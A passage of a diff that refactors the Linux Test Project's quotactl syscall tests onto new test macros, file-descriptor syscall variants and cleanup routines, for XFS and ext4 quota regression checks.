-	res = quotactl(subcmd, tst_device->dev, test_id, (void *) &res_qstat);
-	if (res == -1) {
-		tst_res(TFAIL | TERRNO,
-			"quotactl() failed to get xfs quota on status");
+	TST_EXP_PASS_SILENT(do_quotactl(fd, subcmd, tst_device->dev, test_id,
+			(void *) &res_qstat), "do_quotactl() to %s", desp);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (!(res_qstat.qs_flags & flag)) {
 		tst_res(TFAIL, "xfs quota enforcement was off unexpectedly");
@@ -88,19 +81,16 @@
 	tst_res(TPASS, "quotactl() succeeded to %s", desp);
 }
 
-void check_qoffv(int subcmd, char *desp, int flag)
+static void check_qoffv(int subcmd, char *desp, int flag)
 {
-	int res;
 	struct fs_quota_statv res_qstatv = {
 		.qs_version = FS_QSTATV_VERSION1,
 	};
 
-	res = quotactl(subcmd, tst_device->dev, test_id, (void *) &res_qstatv);
-	if (res == -1) {
-		tst_res(TFAIL | TERRNO,
-			"quotactl() failed to get xfs quota off stav");
+	TST_EXP_PASS_SILENT(do_quotactl(fd, subcmd, tst_device->dev, test_id,
+			(void *) &res_qstatv), "do_quotactl() to %s", desp);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (res_qstatv.qs_flags & flag) {
 		tst_res(TFAIL, "xfs quota enforcement was on unexpectedly");
@@ -110,19 +100,16 @@
 	tst_res(TPASS, "quotactl() succeeded to %s", desp);
 }
 
-void check_qonv(int subcmd, char *desp, int flag)
+static void check_qonv(int subcmd, char *desp, int flag)
 {
-	int res;
 	struct fs_quota_statv res_qstatv = {
 		.qs_version = FS_QSTATV_VERSION1
 	};
 
-	res = quotactl(subcmd, tst_device->dev, test_id, (void *) &res_qstatv);
-	if (res == -1) {
-		tst_res(TFAIL | TERRNO,
-			"quotactl() failed to get xfs quota on statv");
+	TST_EXP_PASS_SILENT(do_quotactl(fd, subcmd, tst_device->dev, test_id,
+			(void *) &res_qstatv), "do_quotactl() to %s", desp);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (!(res_qstatv.qs_flags & flag)) {
 		tst_res(TFAIL, "xfs quota enforcement was off unexpectedly");
@@ -132,19 +119,16 @@
 	tst_res(TPASS, "quotactl() succeeded to %s", desp);
 }
 
-void check_qlim(int subcmd, char *desp)
+static void check_qlim(int subcmd, char *desp)
 {
-	int res;
 	static struct fs_disk_quota res_dquota;
 
 	res_dquota.d_rtb_softlimit = 0;
 
-	res = quotactl(subcmd, tst_device->dev, test_id, (void *) &res_dquota);
-	if (res == -1) {
-		tst_res(TFAIL | TERRNO,
-			"quotactl() failed to get xfs disk quota limits");
+	TST_EXP_PASS_SILENT(do_quotactl(fd, subcmd, tst_device->dev, test_id,
+			(void *) &res_dquota), "do_quotactl() to %s", desp);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (res_dquota.d_id != test_id) {
 		tst_res(TFAIL, "quotactl() got unexpected user id %u, expected %u",
diff --git a/testcases/kernel/syscalls/quotactl/quotactl03.c b/testcases/kernel/syscalls/quotactl/quotactl03.c
index 3ec9317..22f5496 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl03.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl03.c
@@ -4,10 +4,9 @@
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-/*
- * Test Name: quotactl03
+/*\
+ * [Description]
  *
- * Description:
  * quotactl(2) with XGETNEXTQUOTA looks for the next active quota for an user
  * equal or higher to a given ID, in this test the ID is specified to a value
  * close to UINT_MAX(max value of unsigned int). When reaching the upper limit
@@ -16,27 +15,25 @@
  *
  * This kernel bug of xfs has been fixed in:
  *
- * commit 657bdfb7f5e68ca5e2ed009ab473c429b0d6af85
- * Author: Eric Sandeen <sandeen@redhat.com>
- * Date:   Tue Jan 17 11:43:38 2017 -0800
+ *  commit 657bdfb7f5e68ca5e2ed009ab473c429b0d6af85
+ *  Author: Eric Sandeen <sandeen@redhat.com>
+ *  Date:   Tue Jan 17 11:43:38 2017 -0800
  *
- *     xfs: don't wrap ID in xfs_dq_get_next_id
+ *  xfs: don't wrap ID in xfs_dq_get_next_id
  */
 
 #define _GNU_SOURCE
-#include "config.h"
 #include <errno.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <sys/quota.h>
 
 #include "tst_test.h"
-#include "lapi/quotactl.h"
+#include "quotactl_syscall_var.h"
 
 #ifdef HAVE_XFS_XQM_H
 # include <xfs/xqm.h>
 
-static const char mntpoint[] = "mnt_point";
 static uint32_t test_id = 0xfffffffc;
 
 static void verify_quota(void)
@@ -45,7 +42,7 @@
 
 	res_dquota.d_id = 1;
 
-	TEST(quotactl(QCMD(Q_XGETNEXTQUOTA, USRQUOTA), tst_device->dev,
+	TEST(do_quotactl(fd, QCMD(Q_XGETNEXTQUOTA, USRQUOTA), tst_device->dev,
 		test_id, (void *)&res_dquota));
 	if (TST_RET != -1) {
 		tst_res(TFAIL, "quotactl() found the next active ID: %u unexpectedly",
@@ -64,7 +61,21 @@
 		tst_res(TPASS, "quotactl() failed with ENOENT as expected");
 }
 
+static void setup(void)
+{
+	quotactl_info();
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
 static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
 	.needs_root = 1,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_XFS_QUOTA",
@@ -73,8 +84,13 @@
 	.test_all = verify_quota,
 	.mount_device = 1,
 	.dev_fs_type = "xfs",
-	.mntpoint = mntpoint,
+	.mntpoint = MNTPOINT,
 	.mnt_data = "usrquota",
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "657bdfb7f5e6"},
+		{}
+	}
 };
 
 #else
diff --git a/testcases/kernel/syscalls/quotactl/quotactl04.c b/testcases/kernel/syscalls/quotactl/quotactl04.c
index fd3afc8..a57e6be 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl04.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl04.c
@@ -1,24 +1,22 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ * Copyright (c) 2019-2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This testcase checks the basic flag of quotactl(2) for project quota on
- * non-XFS filesystems.
+ * This testcase checks that quotactl(2) on ext4 filesystem succeeds to:
  *
- * 1) quotactl(2) succeeds to turn on quota with Q_QUOTAON flag for project.
- * 2) quotactl(2) succeeds to set disk quota limits with Q_SETQUOTA flag
- *    for project.
- * 3) quotactl(2) succeeds to get disk quota limits with Q_GETQUOTA flag
- *    for project.
- * 4) quotactl(2) succeeds to set information about quotafile with Q_SETINFO
- *    flag for project.
- * 5) quotactl(2) succeeds to get information about quotafile with Q_GETINFO
- *    flag for project.
- * 6) quotactl(2) succeeds to get quota format with Q_GETFMT flag for project.
- * 7) quotactl(2) succeeds to get disk quota limit greater than or equal to
- *    ID with Q_GETNEXTQUOTA flag for project.
- * 8) quotactl(2) succeeds to turn off quota with Q_QUOTAOFF flag for project.
+ * - turn on quota with Q_QUOTAON flag for project
+ * - set disk quota limits with Q_SETQUOTA flag for project
+ * - get disk quota limits with Q_GETQUOTA flag for project
+ * - set information about quotafile with Q_SETINFO flag for project
+ * - get information about quotafile with Q_GETINFO flag for project
+ * - get quota format with Q_GETFMT flag for project
+ * - get disk quota limit greater than or equal to ID with Q_GETNEXTQUOTA flag for project
+ * - turn off quota with Q_QUOTAOFF flag for project
  *
  * Minimum e2fsprogs version required is 1.43.
  */
@@ -26,20 +24,13 @@
 #include <errno.h>
 #include <string.h>
 #include <unistd.h>
-#include <stdio.h>
 #include <sys/stat.h>
 #include <sys/mount.h>
-#include "config.h"
-#include "lapi/quotactl.h"
-#include "tst_safe_stdio.h"
 #include "tst_test.h"
-
-#ifndef QFMT_VFS_V1
-# define QFMT_VFS_V1 4
-#endif
+#include "quotactl_syscall_var.h"
 
 #define FMTID QFMT_VFS_V1
-#define MNTPOINT	"mntpoint"
+
 static int32_t fmt_id = FMTID;
 static int test_id, mount_flag;
 static struct dqblk set_dq = {
@@ -56,6 +47,7 @@
 static int32_t fmt_buf;
 
 static struct if_nextdqblk res_ndq;
+static int getnextquota_nsup;
 
 static struct tcase {
 	int cmd;
@@ -104,48 +96,26 @@
 
 };
 
-static void do_mount(const char *source, const char *target,
-	const char *filesystemtype, unsigned long mountflags,
-	const void *data)
-{
-	TEST(mount(source, target, filesystemtype, mountflags, data));
-
-	if (TST_RET == -1 && TST_ERR == ESRCH)
-		tst_brk(TCONF, "Kernel or device does not support FS quotas");
-
-	if (TST_RET == -1) {
-		tst_brk(TBROK | TTERRNO, "mount(%s, %s, %s, %lu, %p) failed",
-			source, target, filesystemtype, mountflags, data);
-	}
-
-	if (TST_RET) {
-		tst_brk(TBROK | TTERRNO, "mount(%s, %s, %s, %lu, %p) failed",
-			source, target, filesystemtype, mountflags, data);
-	}
-
-	mount_flag = 1;
-}
-
 static void setup(void)
 {
-	FILE *f;
 	const char *const fs_opts[] = {"-I 256", "-O quota,project", NULL};
-	int rc, major, minor, patch;
 
-	test_id = geteuid();
-	f = SAFE_POPEN("mkfs.ext4 -V 2>&1", "r");
-	rc = fscanf(f, "mke2fs %d.%d.%d", &major, &minor, &patch);
-	if (rc != 3)
-		tst_res(TWARN, "Unable parse version number");
-	else if (major * 10000 + minor * 100 + patch < 14300)
-		tst_brk(TCONF, "Test needs mkfs.ext4 >= 1.43 for quota,project option, test skipped");
-	pclose(f);
+	quotactl_info();
 	SAFE_MKFS(tst_device->dev, tst_device->fs_type, fs_opts, NULL);
-	do_mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, "quota");
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
+	mount_flag = 1;
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
+
+	TEST(do_quotactl(fd, QCMD(Q_GETNEXTQUOTA, PRJQUOTA), tst_device->dev,
+		test_id, (void *) &res_ndq));
+	if (TST_ERR == EINVAL || TST_ERR == ENOSYS)
+		getnextquota_nsup = 1;
 }
 
 static void cleanup(void)
 {
+	if (fd > -1)
+		SAFE_CLOSE(fd);
 	if (mount_flag && tst_umount(MNTPOINT))
 		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
 }
@@ -160,12 +130,16 @@
 
 	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
 
-	TEST(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr));
-	if (TST_RET == -1) {
-		tst_res(TFAIL | TTERRNO, "quotactl failed to %s", tc->des);
+	if (tc->cmd == QCMD(Q_GETNEXTQUOTA, PRJQUOTA) && getnextquota_nsup) {
+		tst_res(TCONF, "current system doesn't support this cmd");
 		return;
 	}
 
+	TST_EXP_PASS_SILENT(do_quotactl(fd, tc->cmd, tst_device->dev, *tc->id, tc->addr),
+			"do_quotactl to %s", tc->des);
+	if (!TST_PASS)
+		return;
+
 	if (memcmp(tc->res_data, tc->set_data, tc->sz)) {
 		tst_res(TFAIL, "quotactl failed to %s", tc->des);
 		tst_res_hexd(TINFO, tc->res_data, tc->sz, "retval:   ");
@@ -178,11 +152,11 @@
 
 static struct tst_test test = {
 	.needs_root = 1,
-	.needs_kconfigs = (const char *[]) {
-		"CONFIG_QFMT_V2",
+	.needs_drivers = (const char *const []) {
+		"quota_v2",
 		NULL
 	},
-	.min_kver = "4.10", /* commit 689c958cbe6b (ext4: add project quota support) */
+	.min_kver = "4.5", /* commit 689c958cbe6b (ext4: add project quota support) */
 	.test = verify_quota,
 	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
@@ -190,8 +164,9 @@
 	.needs_device = 1,
 	.dev_fs_type = "ext4",
 	.mntpoint = MNTPOINT,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
 	.needs_cmds = (const char *[]) {
-		"mkfs.ext4",
+		"mkfs.ext4 >= 1.43.0",
 		NULL
 	}
 };
diff --git a/testcases/kernel/syscalls/quotactl/quotactl05.c b/testcases/kernel/syscalls/quotactl/quotactl05.c
index e811e47..ac75cee 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl05.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl05.c
@@ -1,24 +1,25 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
- *
- * This testcase checks basic flags of quotactl(2) for project on an XFS file
- * system:
- * 1) quotactl(2) succeeds to turn off xfs quota and get xfs quota off status
- *    for project.
- * 2) quotactl(2) succeeds to turn on xfs quota and get xfs quota on status
- *    for project.
- * 3) quotactl(2) succeeds to set and use Q_XGETQUOTA to get xfs disk quota
- *    limits for project.
- * 4) quotactl(2) succeeds to set and use Q_XGETNEXTQUOTA to get xfs disk
- *    quota limits Cgreater than or equal to ID for project.
- * 5) quotactl(2) succeeds to turn off xfs quota and get xfs quota off statv
- *    for project.
- * 6) quotactl(2) succeeds to turn on xfs quota and get xfs quota on statv
- *    for project.
+ * Copyright (c) 2019-2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@.fujitsu.com>
  */
+
+/*\
+ * [Description]
+ *
+ * This testcases checks that quotactl(2) on xfs filesystem succeeds to:
+ *
+ * - turn off xfs quota and get xfs quota off status for project
+ * - turn on xfs quota and get xfs quota on status for project
+ * - set and use Q_XGETQUOTA to get xfs disk quota limits for project
+ * - set and use Q_XGETNEXTQUOTA to get xfs disk quota limits greater than or
+ *   equal to ID for project
+ * - turn off xfs quota and get xfs quota off statv for project
+ * - turn on xfs quota and get xfs quota on statvfor project
+ */
+
 #include "quotactl02.h"
+#include "quotactl_syscall_var.h"
 #if defined(HAVE_XFS_XQM_H)
 
 static uint32_t qflagp = XFS_QUOTA_PDQ_ENFD;
@@ -62,10 +63,17 @@
 
 static void setup(void)
 {
-	test_id = geteuid();
+	quotactl_info();
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
 	check_support_cmd(PRJQUOTA);
 }
 
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
 static void verify_quota(unsigned int n)
 {
 	struct t_case *tc = &tcases[n];
@@ -85,11 +93,10 @@
 		return;
 	}
 
-	TEST(quotactl(tc->cmd, tst_device->dev, test_id, tc->addr));
-	if (TST_RET == -1) {
-		tst_res(TFAIL | TTERRNO, "quotactl() failed to %s", tc->des);
+	TST_EXP_PASS_SILENT(do_quotactl(fd, tc->cmd, tst_device->dev, test_id, tc->addr),
+		"do_quotactl()");
+	if (!TST_PASS)
 		return;
-	}
 
 	if (tc->flag)
 		tc->func_check(tc->check_subcmd, tc->des, *(int *)(tc->addr));
@@ -107,9 +114,11 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.mount_device = 1,
 	.dev_fs_type = "xfs",
-	.mntpoint = mntpoint,
+	.mntpoint = MNTPOINT,
 	.mnt_data = "prjquota",
 	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
 };
 
 #else
diff --git a/testcases/kernel/syscalls/quotactl/quotactl06.c b/testcases/kernel/syscalls/quotactl/quotactl06.c
index a10d1ca..74a098a 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl06.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl06.c
@@ -1,41 +1,50 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ * Copyright (c) 2019-2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * Tests basic error handling of the quotactl syscall.
- * 1) quotactl fails with EACCES when cmd is Q_QUOTAON and addr
- * existed but not a regular file.
- * 2) quotaclt fails with ENOENT when the file specified by special
- * or addr does not exist.
- * 3) quotactl fails with EBUSTY when  cmd is Q_QUOTAON and another
- * Q_QUOTAON had already been performed.
- * 4) quotactl fails with EFAULT when addr or special is invalid.
- * 5) quotactl fails with EINVAL when cmd or type is invalid.
- * 6) quotactl fails with ENOTBLK when special is not a block device.
- * 7) quotactl fails with ESRCH when no disk quota is found for the
- * indicated user and quotas have not been turned on for this fs.
- * 8) quotactl fails with ESRCH when cmd is Q_QUOTAON, but the quota
- * format was not found.
- * 9) quotactl fails with ESRCH when cmd is Q_GETNEXTQUOTA, but there
- * is no ID greater than or equal to id that has an active quota.
- * 10) quotactl fails with ERANGE when cmd is Q_SETQUOTA, but the
- * specified limits are out of the range allowed by the quota format.
- * 11) quotactl fails with EPERM when the caller lacked the required
- * privilege (CAP_SYS_ADMIN) for the specified operation.
+ * Tests basic error handling of the quotactl syscall with visible quota files
+ * (cover two formats, vfsv0 and vfsv1):
+ *
+ * - EACCES when cmd is Q_QUOTAON and addr existed but not a regular file
+ * - ENOENT when the file specified by special or addr does not exist
+ * - EBUSY when cmd is Q_QUOTAON and another Q_QUOTAON had already been
+ *   performed
+ * - EFAULT when addr or special is invalid
+ * - EINVAL when cmd or type is invalid
+ * - ENOTBLK when special is not a block device
+ * - ESRCH when no disk quota is found for the indicated user and quotas have
+ *   not been turned on for this fs
+ * - ESRCH when cmd is Q_QUOTAON, but the quota format was not found
+ * - ESRCH when cmd is Q_GETNEXTQUOTA, but there is no ID greater than or
+ *   equal to id that has an active quota
+ * - ERANGE when cmd is Q_SETQUOTA, but the specified limits are out of the
+ *   range allowed by the quota format
+ * - EPERM when the caller lacked the required privilege (CAP_SYS_ADMIN) for
+ *   the specified operation
+ *
+ * For ERANGE error, the vfsv0 and vfsv1 format's maximum quota limit setting
+ * have been fixed since the following kernel patch:
+ *
+ *  commit 7e08da50cf706151f324349f9235ebd311226997
+ *  Author: Jan Kara <jack@suse.cz>
+ *  Date:   Wed Mar 4 14:42:02 2015 +0100
+ *
+ *  quota: Fix maximum quota limit settings
  */
 
 #include <errno.h>
 #include <sys/quota.h>
 #include "tst_test.h"
-#include "lapi/quotactl.h"
+#include "quotactl_fmt_var.h"
 #include "tst_capability.h"
 
 #define OPTION_INVALID 999
-#define QFMT_VFS_V0     2
 #define USRPATH MNTPOINT "/aquota.user"
-#define FMTID QFMT_VFS_V0
-
 #define MNTPOINT "mntpoint"
 #define TESTDIR1 MNTPOINT "/testdir1"
 #define TESTDIR2 MNTPOINT "/testdir2"
@@ -43,9 +52,9 @@
 static char usrpath[] = USRPATH;
 static char testdir1[] = TESTDIR1;
 static char testdir2[] = TESTDIR2;
-static int32_t fmt_id = FMTID;
+static int32_t fmt_id;
 static int32_t fmt_invalid = 999;
-static int test_invalid;
+static int test_invalid = 1;
 static int test_id;
 static int getnextquota_nsup;
 
@@ -60,13 +69,13 @@
 	.dqb_valid = QIF_BLIMITS
 };
 
-struct tst_cap dropadmin = {
+static struct tst_cap dropadmin = {
 	.action = TST_CAP_DROP,
 	.id = CAP_SYS_ADMIN,
 	.name = "CAP_SYS_ADMIN",
 };
 
-struct tst_cap needadmin = {
+static struct tst_cap needadmin = {
 	.action = TST_CAP_REQ,
 	.id = CAP_SYS_ADMIN,
 	.name = "CAP_SYS_ADMIN",
@@ -78,18 +87,40 @@
 	void *addr;
 	int exp_err;
 	int on_flag;
+	char *des;
 } tcases[] = {
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, testdir1, EACCES, 0},
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, testdir2, ENOENT, 0},
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, EBUSY, 1},
-	{QCMD(Q_SETQUOTA, USRQUOTA), &fmt_id, NULL, EFAULT, 1},
-	{QCMD(OPTION_INVALID, USRQUOTA), &fmt_id, usrpath, EINVAL, 0},
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, ENOTBLK, 0},
-	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dq, ESRCH, 0},
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_invalid, usrpath, ESRCH, 0},
-	{QCMD(Q_GETNEXTQUOTA, USRQUOTA), &test_invalid, usrpath, ESRCH, 0},
-	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dqmax, ERANGE, 1},
-	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, EPERM, 0},
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, testdir1, EACCES, 0,
+	"EACCES when cmd is Q_QUOTAON and addr existed but not a regular file"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, testdir2, ENOENT, 0,
+	"ENOENT when the file specified by special or addr does not exist"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, EBUSY, 1,
+	"EBUSY when cmd is Q_QUOTAON and another Q_QUOTAON had already been performed"},
+
+	{QCMD(Q_SETQUOTA, USRQUOTA), &fmt_id, NULL, EFAULT, 1,
+	"EFAULT when addr or special is invalid"},
+
+	{QCMD(OPTION_INVALID, USRQUOTA), &fmt_id, usrpath, EINVAL, 0,
+	"EINVAL when cmd or type is invalid"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, ENOTBLK, 0,
+	"ENOTBLK when special is not a block device"},
+
+	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dq, ESRCH, 0,
+	"ESRCH is for Q_SETQUOTA but no quota found for the user or quotas are off"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_invalid, usrpath, ESRCH, 0,
+	"ESRCH when cmd is Q_QUOTAON, but the quota format was not found"},
+
+	{QCMD(Q_GETNEXTQUOTA, USRQUOTA), &test_invalid, usrpath, ESRCH, 0,
+	"ESRCH for Q_GETNEXTQUOTA, but the id was last one"},
+
+	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dqmax, ERANGE, 1,
+	"ERANGE for Q_SETQUOTA, but the specified limits are out of range"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, usrpath, EPERM, 0,
+	"EPERM when the caller lacks the required privilege (CAP_SYS_ADMIN)"},
 };
 
 static void verify_quotactl(unsigned int n)
@@ -98,17 +129,20 @@
 	int quota_on = 0;
 	int drop_flag = 0;
 
+	tst_res(TINFO, "Testing %s", tc->des);
 	if (tc->cmd == QCMD(Q_GETNEXTQUOTA, USRQUOTA) && getnextquota_nsup) {
 		tst_res(TCONF, "current system doesn't support Q_GETNEXTQUOTA");
 		return;
 	}
 
 	if (tc->on_flag) {
-		TEST(quotactl(QCMD(Q_QUOTAON, USRQUOTA), tst_device->dev,
-			FMTID, usrpath));
-		if (TST_RET == -1)
-			tst_brk(TBROK,
-				"quotactl with Q_QUOTAON returned %ld", TST_RET);
+		TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAON, USRQUOTA),
+			tst_device->dev, fmt_id, usrpath),
+			"quotactl with Q_QUOTAON");
+
+		if (!TST_PASS)
+			return;
+
 		quota_on = 1;
 	}
 
@@ -117,52 +151,44 @@
 		drop_flag = 1;
 	}
 
-	if (tc->exp_err == ENOTBLK)
-		TEST(quotactl(tc->cmd, "/dev/null", *tc->id, tc->addr));
-	else
-		TEST(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr));
-	if (TST_RET == -1) {
-		if (tc->exp_err == TST_ERR) {
-			tst_res(TPASS | TTERRNO, "quotactl failed as expected");
-		} else {
-			tst_res(TFAIL | TTERRNO,
-				"quotactl failed unexpectedly; expected %s, but got",
-				tst_strerrno(tc->exp_err));
-		}
+	if (tc->exp_err == ENOTBLK) {
+		TST_EXP_FAIL(quotactl(tc->cmd, "/dev/null", *tc->id, tc->addr),
+			ENOTBLK, "quotactl()");
 	} else {
-		tst_res(TFAIL, "quotactl returned wrong value: %ld", TST_RET);
+		TST_EXP_FAIL(quotactl(tc->cmd, tst_device->dev, *tc->id,
+			tc->addr), tc->exp_err, "quotactl()");
 	}
 
 	if (quota_on) {
-		TEST(quotactl(QCMD(Q_QUOTAOFF, USRQUOTA), tst_device->dev,
-			FMTID, usrpath));
-		if (TST_RET == -1)
-			tst_brk(TBROK,
-				"quotactl with Q_QUOTAOFF returned %ld", TST_RET);
-		quota_on = 0;
+		TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAOFF, USRQUOTA),
+			tst_device->dev, fmt_id, usrpath),
+			"quotactl with Q_QUOTAOFF");
+
+		if (!TST_PASS)
+			return;
 	}
 
-	if (drop_flag) {
+	if (drop_flag)
 		tst_cap_action(&needadmin);
-		drop_flag = 0;
-	}
 }
 
 static void setup(void)
 {
-	const char *const cmd[] = {"quotacheck", "-uF", "vfsv0", MNTPOINT, NULL};
 	unsigned int i;
+	const struct quotactl_fmt_variant *var = &fmt_variants[tst_variant];
+	const char *const cmd[] = {
+		"quotacheck", "-ugF", var->fmt_name, MNTPOINT, NULL
+	};
 
+	tst_res(TINFO, "quotactl() with %s format", var->fmt_name);
 	SAFE_CMD(cmd, NULL, NULL);
+	fmt_id = var->fmt_id;
+	/* vfsv0 block limit 2^42, vfsv1 block limit 2^63 - 1 */
+	set_dqmax.dqb_bsoftlimit = tst_variant ? 0x20000000000000 : 0x100000000;
 
-	if (access(USRPATH, F_OK) == -1)
-		tst_brk(TFAIL | TERRNO, "user quotafile didn't exist");
-
-	tst_require_quota_support(tst_device->dev, fmt_id, usrpath);
+	SAFE_ACCESS(USRPATH, F_OK);
 
 	SAFE_MKDIR(TESTDIR1, 0666);
-	test_id = geteuid();
-	test_invalid = test_id + 1;
 
 	TEST(quotactl(QCMD(Q_GETNEXTQUOTA, USRQUOTA), tst_device->dev,
 		test_id, (void *) &res_ndq));
@@ -175,10 +201,20 @@
 	}
 }
 
+static void cleanup(void)
+{
+	if (!access(USRPATH, F_OK))
+		SAFE_UNLINK(USRPATH);
+
+	if (!access(TESTDIR1, F_OK))
+		SAFE_RMDIR(TESTDIR1);
+}
+
 static struct tst_test test = {
 	.setup = setup,
-	.needs_kconfigs = (const char *[]) {
-		"CONFIG_QFMT_V2",
+	.cleanup = cleanup,
+	.needs_drivers = (const char *const []) {
+		"quota_v2",
 		NULL
 	},
 	.tcnt = ARRAY_SIZE(tcases),
@@ -192,4 +228,9 @@
 		NULL
 	},
 	.needs_root = 1,
+	.test_variants = QUOTACTL_FMT_VARIANTS,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "7e08da50cf70"},
+		{}
+	}
 };
diff --git a/testcases/kernel/syscalls/quotactl/quotactl07.c b/testcases/kernel/syscalls/quotactl/quotactl07.c
index db47758..34ff270 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl07.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl07.c
@@ -1,62 +1,91 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a regresstion test for kernel commit 3dd4d40b4208
+ * This is not only a functional test but also a error test for Q_XQUOTARM.
+ *
+ * It is a regresstion test for kernel commit 3dd4d40b4208
  * ("xfs: Sanity check flags of Q_XQUOTARM call").
  */
 
-#include "config.h"
 #include <errno.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <sys/quota.h>
-#include "lapi/quotactl.h"
+#include <sys/statvfs.h>
 #include "tst_test.h"
+#include "quotactl_syscall_var.h"
 
 #ifdef HAVE_XFS_XQM_H
 # include <xfs/xqm.h>
 
-#define MNTPOINT    "mntpoint"
-
-static uint32_t qflag_acct = XFS_QUOTA_UDQ_ACCT;
-static unsigned int valid_type = XFS_USER_QUOTA;
 /* Include a valid quota type to avoid other EINVAL error */
 static unsigned int invalid_type = XFS_GROUP_QUOTA << 1 | XFS_USER_QUOTA;
+static unsigned int valid_type = XFS_USER_QUOTA;
+static int mount_flag;
 
 static void verify_quota(void)
 {
-	TEST(quotactl(QCMD(Q_XQUOTARM, USRQUOTA), tst_device->dev, 0, (void *)&invalid_type));
-	if (TST_ERR == EINVAL)
-		tst_res(TPASS, "Q_XQUOTARM has quota type check");
+	struct statfs before, after;
+
+	SAFE_STATFS(MNTPOINT, &before);
+	TST_EXP_PASS(do_quotactl(fd, QCMD(Q_XQUOTARM, USRQUOTA), tst_device->dev, 0,
+			(void *)&valid_type), "do_quotactl(Q_XQUOTARM,valid_type)");
+	SAFE_STATFS(MNTPOINT, &after);
+	if (before.f_bavail <= after.f_bavail)
+		tst_res(TPASS, "Q_XQUOTARM to free space, delta(%lu)", after.f_bavail - before.f_bavail);
 	else
-		tst_res(TFAIL, "Q_XQUOTARM doesn't have quota type check");
+		tst_res(TFAIL, "Q_XQUOTARM to free space, delta(-%lu)", before.f_bavail - after.f_bavail);
+
+	TST_EXP_FAIL(do_quotactl(fd, QCMD(Q_XQUOTARM, USRQUOTA), tst_device->dev, 0,
+			(void *)&invalid_type), EINVAL, "do_quotactl(Q_XQUOTARM, invalid_type)");
 }
 
 static void setup(void)
 {
-	TEST(quotactl(QCMD(Q_XQUOTAOFF, USRQUOTA), tst_device->dev, 0, (void *)&qflag_acct));
-	if (TST_RET == -1)
